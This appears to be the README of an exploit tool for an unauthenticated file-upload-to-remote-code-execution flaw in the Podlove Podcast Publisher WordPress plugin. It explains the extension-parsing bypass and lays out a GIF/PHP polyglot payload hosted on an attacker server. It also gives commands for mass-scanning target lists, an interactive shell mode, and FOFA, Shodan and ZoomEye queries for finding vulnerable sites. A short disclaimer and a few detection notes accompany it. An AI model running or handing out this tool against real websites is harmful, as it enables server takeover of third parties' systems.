
CVSS 9.8 (Critical) | Unauthenticated Arbitrary File Upload leading to Remote Code Execution
Critical vulnerability in the Podlove Podcast Publisher WordPress plugin (versions up to and including 4.5.1) that allows unauthenticated attackers to upload arbitrary PHP files to the server via the image cache functionality, leading to Remote Code Execution (RCE).
The vulnerability exploits a mismatch between two internal functions that parse file extensions differently:
| Function | Method | Input: payload.php?.gif | Result |
|---|---|---|---|
is_image() | basename() then pathinfo() | payload.php?.gif | .gif (passes validation) |
extract_file_extension() | parse_url() then pathinfo() | /payload.php | .php (saved to disk) |
The vulnerability exists because two functions in the Podlove plugin parse the same URL but extract different file extensions:
is_image() — Validation (in lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
The function checks:
exif_imagetype() - requires valid image header (GIF89a)wp_check_filetype_and_ext()Since basename() includes the query string, the extension appears as gif - not in the denylist.
extract_file_extension() — File Naming (in lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
The file is saved with the .php extension on disk.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
The shell_polyglot.gif.php is a polyglot file that is valid as both a GIF image and PHP:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Important: The polyglot must be hosted as a static file (e.g., Cloudflare R2, AWS S3, nginx without PHP). If the hosting server processes PHP, the code runs on the hosting server instead of being delivered as raw content to the target.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
Successful exploitation yields remote code execution as the web server user:
wp-content/cache/podlove/ directorypodlove_image_cache_url requestsThis vulnerability is a bypass of the fix for CVE-2025-10147 (Podlove <= 4.2.6).
| Aspect | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Root cause |
See analysis/CVE_COMPARISON.md for detailed comparison.
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This tool is intended for security researchers and penetration testers with explicit written authorization to test target systems. Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this tool.
ghostpel-sec — Security Research & Exploit Development
This project is licensed under the ghostpel-sec Security Research License.
| Field | Value |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8 (Critical) |
| CWE | CWE-20 (Improper Input Validation) |
| Plugin | Podlove Podcast Publisher |
| Affected | Versions up to and including 4.5.1 |
| Patched | 4.5.2 |
| Type | Unauthenticated Arbitrary File Upload to RCE |
| Researcher | Talal Nasraddeen (via Wordfence) |
| Published | July 14, 2026 |
| No file type validation at all |
| Validation bypass via extension confusion |
| Technique | Direct PHP file upload | GIF89a polyglot + URL query trick |
| Fix applied | Added is_image() with denylist | Fixed extension parsing consistency |